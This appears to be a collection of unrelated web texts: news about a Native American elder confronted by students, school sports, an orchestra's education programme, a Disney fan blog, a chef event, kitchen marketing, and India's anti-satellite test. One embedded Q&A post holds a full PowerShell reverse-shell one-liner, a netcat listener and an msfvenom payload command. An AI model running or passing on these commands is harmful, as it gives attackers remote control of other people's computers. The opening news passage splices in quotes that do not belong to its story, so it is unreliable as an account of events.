The teens, believed to be students of Kentucky's Covington Catholic High School, are seen mocking Omaha elder Nathan Phillips as he sings and drums.
But Phillips kept beating his drum.
Nathan Phillips, a member of the Omaha Tribe and a Vietnam veteran, was participating in the Indigenous Peoples March in the United States capital.
As Covington Catholic High School is receiving national backlash for actions taken at the Indigenous Peoples March in Washington D.C. Friday, video has emerged on social media of a young man in an Owensboro Catholic High School hoodie and "Trump" hat addressing Native Americans at the Lincoln Memorial. This behavior is opposed to the Church's teachings on the dignity and respect of the human person. This has drawn harassment down on him before, including a 2015 incident when Eastern Michigan University students dressed in Native American costumes reportedly yelled epithets at him and hit him with a beer can.
In response one of the students shouts back 'Woah, that's racist.' One of the men shouts at the student: 'When you get old enough they're gonna steal your organs'.
According to the school's website, Covington Catholic is the only all-male high school in Northern Kentucky, and has an enrollment of 586 students. "He just blocked my way and wouldn't allow me to retreat", Phillips said. "Indeed, the term has become so toxic that the group Students for Life refuses to say "pro-life" when doing its activist work", Camosy wrote.
Kaya Taitano, a witness to the incident, was quoted by CNN as saying Phillips had made a decision to intervene with a "healing prayer" when the school teens got into a verbal altercation with a group of African American youths who had been preaching about the Bible nearby.
Phillips also appeared upset in a video Taitano posted after the confrontation.
He called on young people to put their energy to better use, like "helping those who are hungry".
She recalled that as she walked away "I mentally noted the kids were still loud and disrespectful".
One teen, who stood imposingly close to Phillips while making unbroken eye contact and grinning, a MAGA hat on his head, has been singled out as being particularly disrespectful.
"[The students] started whooping and hollering", Phillips told FOX 2 News at the time.


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The A.R. Rucker Rams impressively put the finishing touches on an unbeaten basketball season and a conference title with a decisive win over rival South Middle School in the Lancaster High School gym on Wednesday night.
The Rams charged to a 75-40 win over the Mustangs to wrap up a 17-0 season.
The Rucker boys' win came after the Lady Rams cruised to a 41-11 win over the Lady Mustangs.
The Rams started fast against the Mustangs and were in complete control for the victory.


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En Italie, plusieurs crucifix peints sont localisés à Arezzo :
 le Crucifix d'Arezzo (Cimabue)
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HomeEducation10 Questions
"The most important thing that music can do..."
10 Questions – 10 Answers
(Photo: Monika Rittershaus)
The education programme should remind us that music is not a luxury but a basic need.
The Berliner Philharmoniker and Sir Simon Rattle were pioneers in the field of education work. From the very beginning, they wanted to convey the holistic nature of music, how it speaks equally to the mind, body and spirit. And what becomes particularly clear through the education work, is that music is a driving force for development and change. It promotes activity, participation and creativity, contact with others and the exchange of ideas, overcoming inhibitions and shyness. In the past ten years, more than 3,000 people aged 3-73 years have actively participated in the education projects of the Berliner Philharmoniker, and the results have been presented in front of more than 200,000 spectators. The various aspects of the education work are summarized in the following questions and answers.
It was the beginning of a new age of how the orchestra saw itself when Sir Simon Rattle became principal conductor of the Berliner Philharmoniker in 2002. He brought with him from England a new perspective on the role and function of the orchestra: the challenge of taking on a social responsibility and to become open to all people from all walks of life. "To be a performing artist in the next century, you have to be an educator, too." His determination and powers of persuasion now became the driving force for the Berliner Philharmoniker to start its own education programme, which has been made possible since then by Deutsche Bank. The first to manage the project was Richard McNicol from London, who passed on his experience as the head of educational projects with the London Sinfonietta and the London Symphony Orchestra. From 2005 to 2012, the Australian Cathy Milliken, composer and oboist of the Ensemble Modern, continued to develop the education programme in exemplary fashion under the name of Zukunft@BPhil.
Who and what is the education programme for?
From the very beginning, the education programme was never about attracting new subscribers or developing new audiences. Its remit extends far beyond such economic considerations. It was a matter of personal importance and conviction for Sir Simon Rattle that the Philharmonie should be open to all nationalities and ethnic groups – something Berlin is particularly rich in – as a "temple of culture". Even more, it should open up to all sectors of the population and actively reach out to them. The Philharmonie and the orchestra should be a place of learning which has an impact on all cultural and social sectors, and which addresses people of different age groups, abilities and talents.
What is education?
Education is almost a paradox: it is an open and yet protected space for people to actively participate in music. It offers amateurs the chance to meet professionals face to face. It is an investment in people and their capabilities, but without the expectation of quantifiable financial benefits.
How is the education programme structured?
The greater part of the programme of course involves music-making, if also increasingly in combination with other artistic disciplines, from film and the visual arts to literature and dance. The educational projects are related to the repertoire of the orchestra, so new themes relating to the concert programme are developed every season. There are also encounters with the musicians of the orchestra in concerts, lectures, rehearsals and workshops, in kindergartens, schools and even prisons. Although most of the education programme takes place in Berlin, there have also been projects in Aix-en-Provence, Salzburg, Sydney, Amsterdam and New York – and they have impressively demonstrated how music can overcome language barriers and cultural differences.
What are the challenges faced by the orchestra's musicians?
For the musicians, education work means leaving their comfort zone and engaging with new people and unpredictable situations. They find themselves presented with new demands, it develops their willingness to take risks, to have the courage to make mistakes and to put themselves back into a learning situation again. Music is a two-way communication. It arises not only between musicians, but also between the musicians and their audiences. The people who take part in the projects, whether children, young people or adults, become colleagues on the same level, and together, they all embark on a journey.
In doing so, the orchestral musicians again experience their sense of curiosity and discovery. Of course they are aware of their roles, their responsibilities and duties with regard to the project process, and they know how to consciously apply their expertise. But the question of whether the artist is the better teacher does not come into it. What is important is what happens in the encounter between one person and another, how they come together in the first place and how they then go their separate ways again afterwards.
"Rhythm is it!" – And the consequences?
The first season with Sir Simon Rattle marked the beginning of a new era in which the Berliner Philharmoniker took their work and their music to social spaces beyond the concert hall. And the first step on this path was taken in February 2003, with a stage production of Stravinsky's Le Sacre du Printemps. In the arena, an old bus depot in Treptow in Berlin, 250 children and young people from 25 countries – mostly from so-called problem schools – rehearsed over a period of more than six weeks for the performance of this ballet under the guidance of the choreographer and dance teacher Royston Maldoom. The immense response to this production and its wide-spread fame is thanks not least to the documentary Rhythm Is It! which captured the event. The film shows the astonishing development of the young people, how they grow in confidence and mature as personalities through facing difficulties, challenging their own personal limitations and experiencing success.
Since then, there has been a similar dance project every year, most recently in a project based on Carmen in May 2012, with choreographer Sasha Waltz and her company. In all these projects, each lasting for several weeks, all attention was focused on the children and young people involved who, generally speaking, were experiencing music and dance at such an intense level for the very first time. In these projects, they were able to show what they were capable of, more than anyone might have expected of them – least of all themselves. For the participants, the projects certainly remain an unforgettable experience – and for some of them, it may even have been the first step towards a new understanding of themselves, and a new perspective on life.
What is the situation in other cultural institutions?
Many other orchestras and cultural institutions have long been convinced of the necessity of education work and have begun to open a dialogue with their audiences with staged concerts, workshops, and regular visits to organisations and institutions over extended periods of time. There is now hardly an orchestra that has not established an education programme of its own or has extended existing concepts. A general consensus now exists regarding cultural education, creative learning in the arts, and links between culture and society. Education has become a top priority.
Education – essential for the musicians of the future?
Education has become an integral part of professional artistic activity, not only for cultural institutions but also for the musicians themselves. Concert and presentation formats are changing, different audience profiles are being taken more into account, educational activities are in demand. Musicians are ultimately required to bring the same intensity, passion and professionalism to these as they do to their artistic expertise. And this puts particular demands on educational institutions. Some conservatories and music colleges already offer graduate and post-graduate courses in music education.
The English term "education" is used as its meaning and potential for interpretation remains broad. The concept of music education – no less open to interpretation – is also slowly finding its way into professional circles. As a result, the boundaries between teaching, musicology and performance, marketing and public relations strategies are still in need of clarification. What is clear, is that the society's relation to the arts is an integral part of education.
Education or pedagogy?
"Education" can be translated from English into a variety of German words, all of which refer to specific functions such as training, teaching or schooling. But why do we avoid using German terms? Perhaps there is the concern that they suggest a didactic approach to art which could open the floodgates to its misuse or instrumentalisation for non-aesthetic purposes, to its trivialization and simplification or even to deny its complexity. The German words are possibly too closely associated with formal education institutions, with state schooling and training, whereas the approach to education in this context should be about broadening horizons.
By using the English term, the concept and its interpretation remain safely broad-ranging. No less open to interpretation is the concept of "Musikvermittlung", or music education, which is also slowly taking hold in the profession. However, with the introduction of these terms, the borders between educational, musicological and artistic activity, marketing and PR strategies still remain to be defined and clarified. One thing is certain: The relationship between society and the arts is an integral part of education.
Active engagement with the arts creates not only uncertainty, resistance and friction, but also new perspectives. Apparent certainties disappear and the participants are faced with something disorientating and unknown. Allowing this alienation into the artistic process, confronting it and approaching it productively, is only possible in the first place when curiosity outweighs fear. Overcoming this alienation provides participants with the opportunity to discover for themselves that interventions, change and shaping their lives are possible, and that they can reposition themselves. In the appropriation of "artistic thinking", the personal relevance is of living and shaping one's own life.
And what's next?
Even with 10 years experience in education, the learning, exploring, curiosity and further development never stops. The range of projects offered is to be communicated in a more differentiated, more transparent, accessible and open way. At the same time, the orchestra has expressed the desire to be able to participate in a longer-term project in addition to the several week long dance projects. As a result, there will be a new component to the education programme, in which singing – the most fundamental and most immediate form of musical expression – will play a major role.
Simon Halsey, who as a choral conductor brings a lot of experience in the field of "Community Singing" has been secured as artistic director. In the future, more emphasis will be put on amateurs making music together with the orchestra! Moreover, in several areas and districts of Berlin, spaces for the experience of music-making through singing are to be created, focusing particularly on disadvantaged children and young people. In this choral programme, neighbourhood- and partnership contacts and networks will be developed, outside educational institutions, in the free social space of children and young people, based on respect, trust and continuity.
The most wonderful moments are when the students motivate or help each other, and when you watch them during rehearsals and see a smile on their faces, all things which are rare in normal, everyday school life.
Teacher, 2010 dance project
Education work is just as important as playing Bruckner symphonies.
Christian Stadelmann, member of the Berliner Philharmoniker, 2003
When I'm dancing, I feel like I am discovering the world. I am where I should be.
Gina, primary school student, 2010 dance project
Upcoming Education performances
Unfortunately, this event is cancelled.
13 Feb 2021,
Ausstellungsfoyer Kammermusiksaal / Einführungsbereich
Sat, 13 Feb 2021, 12:00
Biennale-Labor »Wortgefecht«
Sun, 14 Feb 2021, 11:00
Biennale of the Berliner Philharmoniker ‒ Familiy Concert
Kirill Petrenko conductor
Kurt Weill Symphony No. 1 "Berliner Sinfonie"
Biennale-Labor »Augen©lick«
09 May 2021,
Sun, 09 May 2021, 15:00
BE PHIL Orchestra
Dmitri Shostakovich Symphony No. 10 in E minor, op. 93
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05 Jun 2021,
Sat, 05 Jun 2021, 15:00
Members of the Berliner Philharmoniker
Simon Rössler conductor
Nelly Danker stage direction
Kurt Weill Magic Night


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Architecture of Dublin City
Ballsbridge
Brian Hogan
Tyndall Hogan Hurley
1796 – Grand Canal Locks, Dublin
1967 – Lansdowne House, Northumberland Road, Dublin
Architecture of Leinster
Architecture of Co. Dublin
Architect: Brian Hogan
A massive development on the site of some large Victorian houses, Lansdowne House was the first headquarters of AIB in 1967. Nine storeys and 102 feet in height it is hugely out of scale with the Victorian character of the area, though it still isn't the worst looking building office development in the area. In an interview in 1967, Brian Hogan said that they sought the "vertical emphasis and proportions of the traditional window openings found in the houses in the area". Renovation in the late 1990s improved its appearance by replacing the solid panels under the windows with a different coloured finish.
1967 Ballsbridge Brian Hogan Dublin Tyndall Hogan Hurley


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New golf pro Mariah Stackhouse should be on your radar
She just signed a rare endorsement deal
Mariah Stackhouse, a rising star and young African-American golfer, recently led Stanford University to the 2016 NCAA women's golf finals, a year after leading Stanford to the 2015 championship. And now, her college days are done.
The 22-year-old has turned pro, and has been minted with her first endorsement deal with professional service company KPMG. She joins the ranks of Phil Mickelson and Stacy Lewis, the only other players the company endorses.
"It made college a really fun, but a grounding experience," she said of immediately turning pro. "I had a goal right from the start."
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Cookie is Going to Be Duffy the Disney Bear's New Friend from Hong Kong Disneyland!
« Happy Birthday Na Na Na Nana!
Cookie is Going to Be My New Friend from Hong Kong Disneyland!
I follow the TDR Explorer!
Oh – sorry – TDR – well, that means Tokyo Disney Land!
Cookie is on her way to be my very beary new sweet-treats baking friend! She will live in Hong Kong Disney Land!
I figure just about everybear by now knows that the very beary firstest ever Duffy the Disney Bear Minnie Mouse crafted came from Tokyo Disney Land in Japan.
It was Tokyo Disney Seas – the second Disney park in Japan where Minnie first made a Duffy for Mickey Mouse to keep him company while he traveled by sea around the world.
Here's the news release from TDR Explorer about my new friend!
Cookie is the very beary firstest ever new friend for me that is not from Japan. Cookie is from Hong Kong Disney Land.
Hong Kong Disney Land is in China! That's so very beary far away. I gotta start saving up my allowance to visit one day.
I always wanted a puppy – well – ….
Cookie won't really be my puppy, but she'll be my puppy doggie friend!
Cookie is a talented baker!
Yes, Little Joe is also a very beary talented baker, but it never hurts to have more than one very beary talented baker in the family because eating tummy yummy sweet treats keeps me healthy.
Just makes sense – sugar is sweet – so when you eat sugar, you are sweet!
These pictures are from Magic Post on facebook….
We're all giddy and excited here!
Little Joe is gathering up all the bears to clean up the kitchen (yuck – more chores) and to inventory all the baking supplies. He wants to be extra sure that Cookie feels welcome!
Even though I really don't like always doing my chores….
I'm gonna help big time, because I wanna be extra sure that Cookie enjoys baking here in her hopefully *paws crossed*, soon to be new home!
Don't forget to check out TDR Explorer! They posted a really cute teaser video for very beary BIG DEBUT of Cookie!
P.S. Found this picture on Twitter – don't know who to credit, but it's just too cute not to post!
Cookie is my new talented, baking puppy friend from Hong Kong Disney Land!


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What Pastors Are Facing When it Comes to Gay Marriage, Service in Church
Statistics show pastors' thoughts regarding same-sex marriage differ across various denominations, according to LifeWayResearch.com
Over 100,000 same-sex couples have gotten married since the Supreme Court legalized gay marriages nationwide last year.
According to LifeWay Research, 11 percent of protestant senior pastors have been asked to perform a same-sex wedding.
The difference between Baptist pastors marrying the same-sex versus presbyterian/reform pastors is stark.
One percent of Baptist pastors say they were asked to perform a wedding for a gay couple, whereas 26 percent of Presbyterian/Reformed pastors are asked to marry same-sex couples.
"Most couples, if they want a church wedding, will ask a pastor they know or who they think will support them," said Scott McConnell, executive director of LifeWay Research. "For same-sex couples, this appears to be an older Presbyterian pastor."
Mainline pastors are three times (28%) as likely to have been requested to marry gay couples than the evangelical pastors who are asked 6 percent of the time.
Older pastors who are 55 and older are also twice likely to have gay couples reach out to them, while pastors 54 and younger are asked 7 percent of the time.
The role for gay people in the church is also an issue for many denominations, according to LifeWayResearch.com.
"Mainline pastors, on the other hand, are seen as affirming to LGBT people, yet they are split down the middle over whether LGBT people can serve anywhere. And a surprising number of churches haven't talked about the issue," McConnell said.
Less than half of Protestant senior pastors say their church lets LGBT people to serve, even in small roles. The reports show 34 percent of senior pastors say LGBT people cannot serve anywhere, 30 percent say "anywhere," 21 percent are "not sure," and 15 percent of pastors say "at least one service area, but not anywhere."
Over half of mainline pastors are more likely to allow gay people to serve anywhere within the church, while only 18 percent of evangelical pastors say the same.
Presbyterian, Methodists, and Lutherans are more lenient when it comes to gays serving in the church. Baptists and Pentecostals are the strict denominations when it comes to LGTB people serving.
LifeWay research reports that pastors seem more comfortable in letting LGBT people serve in the "background" in their church.
McConnell said that pastors do not always fit the stereotype when it comes to the roles of LGBT people in the church. "More pastors are open to LGBT people serving in their church than being married there," McConnell noted.
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The lovely Lily Childs sent me this photo, showing Bitterwood in the window of the Atlantis Occult Bookshop near the British Museum.
It's cuddling up to another gorgeous Tartarus Press production, Robert Aickman's The River Runs Uphill.
So, my baby is in excellent company!
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We are so excited to be hosting "Chef's Cut," a unique dining experience in an intimate setting. Over the course of five evenings, our super talented Chefs will be hosting an impressive curated menu personally developed by the Star Chef of the night. This amazing culinary venture gives our guests the opportunity to meet the star Chefs of the Grand Cayman Marriott Beach House tableside as they lead you through their journey of inspiration.
Our 5 chefs are preparing themselves for next week's events and we can't wait to see what they have up their sleeves. Seats to this exclusive event are selling like hotcakes - read below to see what's cooking on each night.
For Chef Damian, no passion is a coincidence…his for the kitchen started 11 years ago. He has mostly worked in fine dining restaurants and well-known hotels brands in Argentina. He also worked at the Martín Berasategui restaurant (3 Michelin stars) in San Sebastian, Spain – a place that today is considered one of the most avant-garde in the gastronomic world.
Chef Damian came to Cayman looking for a new challenge. What he will offer guests on the evening is a menu based on his best culinary memories growing up in Argentina. He will be bringing to the table dishes that define and mark his past as well as techniques from the contemporary culinary world.
Chef Kilian's menu is inspired by the culinary journey that he has been undergoing for the past 15 years. Originally from the south of Germany, he was influenced by his grandmother's home-style cooking. Kilian started his career in Frankfurt, a multicultural city in the heart of Germany. After completing his apprenticeship working in a French Brasserie style restaurant, he decided to move to Manchester, England where he worked at a steakhouse for 3 years.
His next move brought him to Dubai where he eventually became part of the opening team of the tallest hotel in the world, the JW Marriott Marquis Dubai. During his free time in Dubai, he mostly enjoyed trying out all the different restaurants from a variety of cultures in this buzzing culinary melting pot of a city.
From Dubai, he then moved on to join the kitchen team in the US Virgin Islands at the iconic Frenchman's Reef & Morning Star Beach Resort and lastly continued his Caribbean adventure in the Cayman Islands.
For Chef's Cut, Kilian's menu is inspired by his nostalgic past and all the exciting culinary adventures he has had – from his childhood to his travels across the world. On the evening, Chef Kilian plans to share his passion and take guests on a journey to Germany, Dubai plus so much more.
When Chef Balakumar was thinking about his menu for this evening, he recalled his culinary travel experiences back in India. He is thrilled to bring back these golden memories and share them with our guests.
In India, they have 29 states and 9 union territories. In that, they have different language, cultures, food and religion, but the end part is, they are all Indian. This is the why Chef Balakumar wanted to showcase a menu with a focus of unity of diversity. He plans to bring the four regions of India to the table. He will be usingmain ingredients and cooking techniques that he cultivated back home. He will also be mixing his own spices with the best ingredients he can source. It will be a journey of diverse aromas and flavours!
Executive Chef Steve grew up in a small coastal village near Nantes, France. His parents are farmers and his mother always cooked using produce from their farm, including many types of vegetables, poultry and eggs. Steve's passion for cooking is rooted in his childhood when we would make desserts with his mother, using only fresh products from their farm. He knew he wanted to be a chef at the tender age of 10. He also loves to go fishing, a hobby that he continues to be passionate about today. His love for fishing and seafood have inspired many of his signature dishes. Throughout his career, his culinary vision grew to incorporate influences from his experiences in Europe and the Caribbean.
For Chef's Cut, Steve's menu is inspired by his childhood in France. After 20 years in the hospitality industry working with a multicultural team, modern equipment and new sources of technologies, he would say that his culinary repertoire is from all over the world. However, he always keeps a special place in his heart for his mother and grandmother's teachings. His cooking style has been influenced by these roots and he has evolved his cuisine to new trends.
On the evening, Chef Steve plans to share his passion and take guests on a journey from the French countryside to the busy streets of Paris.
Recognised as an important influencer in Ecuador's traditional and contemporary gastronomic movements, Andres is preparing an inspirational menu of "Soul Food" with an Avant-Garde twist.
When you're talking about Latin cuisine, you're referring to the similarity in culture of over 20 different countries, all of them with a language brotherhood.
Diverse as all of the regions of the American continent, Latin cuisine is rich in products and techniques, which are coming from different time frames: pre-Hispanic, Colonial, Republican and Modern.
Andres is going to transmit the immense passion that he has to share with those around him a never-ending zest for bringing alive that magical (and certainly delicious) alchemy that fuses some of the grandmas' traditional and ancient-rooted recipes with new and imaginative touches, ingredients, textures and flavors; far beyond just decoration.
Referring to New Latin cuisine, Andres defines it as "Author's Cuisine" or "Signature Gastronomy," which privileges a focus on colonial and pre-Hispanic traditional cooking, revitalized antique recipes, use of fresh and best-quality ingredients and a permanent evolution, adding to those dishes new textures, flavors, creative mixes and combinations all aimed to offer to the guests a unique culinary experience.
As a modern Chef who uses today's technologies at many levels and instances of his work, Andrés still roots his main principles in those practical and philosophical teachings of his beloved grandmothers, including the buying of fresh local ingredients from the market, fishermen, stores and suppliers.
Available seating times are 7 pm or 8.30pm.


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Total graduate engineering enrollment 516
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Percent international master's graduates 34.5%
Percent minority master's graduates 5.2%
Percent female master's graduates 23.3%
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Percent international Ph.D. graduates 78.9%
Percent minority Ph.D. graduates 5.3%
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King Willem Alexander of the Netherlands and Daan Roosegaarde meet at Asia-Europe Culture Ministers Meeting in Rotterdam, NL.
Cover article in Vrij Nederland, now in bookstores.
Meet the INDEX: Design to Improve Life 2015 jury, including Daan Roosegaarde, which have selected the finalists for 2015. Our Smart Highway project won the award last year. See all the designs for global challenges here.
with Japanese minister Shimomura and Daan Roosegaarde about future landscapes in Tokyo.
TV host Ivo Niehe meets Daan Roosegaarde and talks about his youth, dreams and new designs. The broadcast of the interview generated over 2 million viewers. Watch it here.
It's open! The new Van Gogh-Roosegaarde bicycle path is made of thousands glowing stones which charge at daytime and give light at night. Inspired by 'Starry Night' it combines innovation with cultural heritage in Nuenen NL, the place where Van Gogh lived in 1883. Press Release.
at CNN, Wired, Dezeen, Guardian, BBC, Trouw, Telegraaf, Slate, Slashgear, Gizmodo and more.
Matthijs van Nieuwkerk interviews Daan Roosegaarde live on TV about his new glowing Smart Highway, the van Gogh bicycle path and his famous statement "Creativity is our new capital". Watch the full program here.
We are proud to announce construction firm Heijmans and Studio Roosegaarde signed a new partnership for the coming 3 years, marking the next phase in the joint venture Smart Highway. Read the full press release here.
The Eindhoven region will receive the first innovative bicycle path in the Netherlands. The 600 metres long bicycle path runs where Vincent van Gogh lived from 1883 to 1885 and will have an unique design comprising thousands of sparkling stones designed by artist Daan Roosegaarde. Full information here.


Staples® Business Advantage's internal Key Supply Program needed a website for sales associates to track their supplies. Click-on-Nik worked the marketing department's requirements to design a flow that was easy and efficient.
Sales associates need to access information such as News & Reminders, Program Guidelines & Activity Request Forms, Special Offers, Creative Guidelines & Staples Logos, FTP Site Instructions, Sales & Marketing, Contact Information, Key Supplier Program Manual PDF very quickly.
The Challenge: To display this information in an interactive way so that the sales associates can find information as quickly as possible and not lose the sale.


A kitchen that interprets modernity, combining the elegance of innovative materials with the technology of the cabinet doors with aluminium frames. The resulting spaces are functional, beautiful and enhanced by elegant reflections from the glass and the rich texture of materials such as Laminam, also available for worktops.
The cabinet door of the T16 kitchen is one of a kind, combining different materials within a single element and offering a choice of stylish door fronts, including in tempered glass with a glossy and matt finish in six different colours and stoneware in six more varieties of materials.
In these images the elegance of Bianco Moon frosted glass blends with the boldness of the Statuario finish stoneware worktop. These combinations are possible thanks to the design of the T16 door whose aluminium frame can house a variety of front finishings.
Open units in square tube aluminium consisting of a base, a back panel and, on some units, shelves.
Made from graphite black anodised aluminium, they can be installed individually or combined to create a unique composition of wall units.
Pull-out larders are the best solution for optimising the interior space of tall units. They all feature German Kessebohmer systems as well as height adjustable baskets for maximum customisation. They are tested for 30,000 opening/closing cycles.
They are available in both a pull-out door and a revolving door version.
These accessories made exclusively from matt black painted solid ash can be freely arranged inside drawers and deep drawers. The individual elements available in this range can be used in countless combinations.


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Q: Execute PowerShell as batch file I'm trying to run the below reverse shell PowerShell command using a .bat file.
powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"

First, I start the netcat listener in Kali:
nc -vv -l -p 4777

I then run the PowerShell command, but I get the following error in Windows 10:
    At line:1 char:112
    + ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
    +                                                                 ~
    Unexpected token ')' in expression or statement.
    At line:1 char:160
    + ... 65535|:ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.clos ...
    +                                                                 ~
    Unexpected token '}' in expression or statement.
        + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
        + FullyQualifiedErrorId : UnexpectedToken

I've tried many possible ', " and ``` combinations and variations, both in and encasing the command. I'm totally stumped.

A: Found myself into the same problem. I wonder why a command that runs without errors in CMD doesn't work well if it's executed inside a .bat file. I doesn't make sense at all.
Metasploit is our friend here:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

Source:
https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/


Patchouli has a strong, earthy scent reminiscent of wood and moss. It may remind you of the old days, it's making a huge comeback as the new generation loves it too ! It is balanced out by sweet, slightly floral top notes.


Daniel Estrem : Reicha Fugues on Guitar.
Anton Reicha (1770-1836) was a Bohemian-born composer whose music covered a vast array of genres and forms, from opera and string quartets to piano etudes and fugues. He is perhaps best known today for his 25 wind quintets. As an accomplished music theorist he wrote several treatises on various aspects of composition. Some of his theoretical work dealt with experimental methods of composition. He was ahead of his time, advocating the ideas of polyrhythm, polytonality and microtonal music. Virtually none of these concepts were accepted or employed by his contemporaries.
Reicha's 36 Fugues for Piano, published in 1803 was conceived as an illustration of his new system for composing fugues. Without delving into the theory of fugues, it can be said that Reicha's widening of the possibilities of fugal composition created a freer, more flexible musical form. Naturally some of his contemporaries didn't approve of his stretching the traditional boundaries, but today these pieces sound wonderfully musical.
Much of Reicha's music remained unpublished and unperformed during his life and nearly all of it fell into obscurity following his death. This is explained in part by his own decisions, which he reflected on in his autobiography: "Many of my works have never been heard because of my aversion to seeking performances. I counted the time spent in such efforts as lost, and preferred to remain at my desk." Reicha's life and work has yet to be intensely studied to this day.


New Delhi, March 27, 2019: Today, India registered its name as the fourth country of the world that has anti-satellite system after the U.S., Russia and China to have the technology.
In a highly sensational address to the nation through Television, Prime Minister Narendra Modi on Wednesday announced that India had demonstrated anti-satellite missile capability by shooting down a live satellite, describing it as a rare achievement that puts the country in an exclusive club of space super powers.
Prime Minister Modi said that the DRDO-developed anti-satellite system A-SAT successfully destroyed a live satellite in the Low Earth Orbit. With this test, dubbed as Mission Shakti, India is only the fourth country after the U.S., Russia and China to have the technology.
This was the first step towards advancing India's counter-space capabilities for which Indian space scientists have been working since decades.
This three-minute mission called 'Mission Shakti' was accomplished by a team of scientists who shot down a live satellite using an anti-satellite weapon, a feat which has placed India in the space 'super league' along with the USA, Russia and China.
Prime Minister said an extremely difficult operation that needed high quality technical capability, all the goals and objectives have been achieved by the scientists.
Congratulating all DRDO scientists for achieving this unparallel feat, PM Modi termed Mission Shakti as a huge success. He said, today's Mission Shakti aimed at strengthening India's overall security.
Here is the complete Text of PM's address to the Nation.
1. On March 27,2019 India conducted Mission Shakti, an anti-satellite missile test, from the Dr. A P J Abdul Kalam Island launch complex.This was a technological mission carried out by DRDO. The satellite used in the mission was one of India's existing satellites operating in lower orbit. The test was fully successful and achieved all parameters as per plans. The test required an extremely high degree of precision and technical capability.
3. With this test, India joins an exclusive group ofspace faring nations consisting of USA, Russia and China.
The DRDO's Ballistic Missile Defence interceptor was used, which is part of the ongoing ballistic missiledefence programme.
This is a technology where we have developedcapability. Space technologies are constantly evolving. We have used the technology that is appropriate to achieve the objectives set out in this mission.
1. India has along standing and rapidly growing space programme. It has expanded rapidly in the last five years. The Mangalyaan Mission to Mars was successfully launched. Thereafter, the government has sanctioned the Gaganyaan Mission which will take Indians to outer space.
1. India has no intention of entering into an arms race in outer space. We have always maintained that space must be used only for peaceful purposes. We are against the weaponization of Outer Space and support international efforts to reinforce the safety and security ofspace based assets.
3. India is a party to all the major international treaties relating to Outer Space. India already implements a number of Transparency and Confidence Building Measures(TCBMs) – including registering space objects with the UN register, prelaunch notifications, measures in harmony with the UN Space Mitigation Guidelines, participation inInter Agency Space Debris Coordination (IADC) activities with regard to space debris management, undertaking SOPA (Space Object Proximity Awareness and COLA (Collision Avoidance) Analysis and numerous international cooperation activities, including hosting the UN affiliated Centre for Space and Science Technology Education in Asia and Pacific. India has been participating in all sessions of the UN Committee on the Peaceful Uses of Outer Space.
1. The principal international Treaty on space is the 1967 Outer Space Treaty. India is a signatory to thistreaty, and ratified it in 1982. The Outer Space Treaty prohibits only weapons of mass destruction in outer space, not ordinary weapons.
2. India expects to play a role in the future in the drafting of international law on prevention of an arms race in outer space including inter alia on the prevention of the placement of weapons in outer space in its capacity as a majorspace faring nation with proven space technology.
2. At the same time, the government is committed to ensuring the country's national security interests and is alert to threats from emerging technologies. The capability achieved through the Anti-Satellite missile test provides credible deterrence against threats to our growing space-based assets fromlong range missiles, and proliferation in the types and numbers of missiles.
The United States of America was the first country to demonstrate its ASAT capability which it did by testing it back in 1958. The USA was then followed by Russia which tested ASAT in 1964 and China which tested it in 2007. India is the fourth country in the world to test its anti-satellite weapon.
The Prime Minister said that India follows the philosophy of Vasudhaiva Kutumbakam - the world is one family. He however, also emphasized, that the forces which work for peace and goodwill, must remain ever-powerful, for the achievement of peace.
Meanwhile, President Ram Nath Kovind has said that peace and security are critical to foster the well-being of humanity. He was addressing a community reception given by Indian community at Zagreb, capital of Croatia, last evening. He said that the world needs to take decisive action against those who harbour and support terrorists. The President said that India will take all measures to protect its people and provide for their welfare.
The President said that the Indian economy is today an important engine of global growth. It is the fastest growing major economy, with robust economic indicators. He said that there is a new dynamism in the country. President Ram Nath Kovind will participate in the India-Croatia Economic Forum meeting today. He will also deliver an address at the University of Zagreb. The President is on a 3 day visit to Croatia on the first leg of his tour to three countries Croatia, Bolivia and Chile.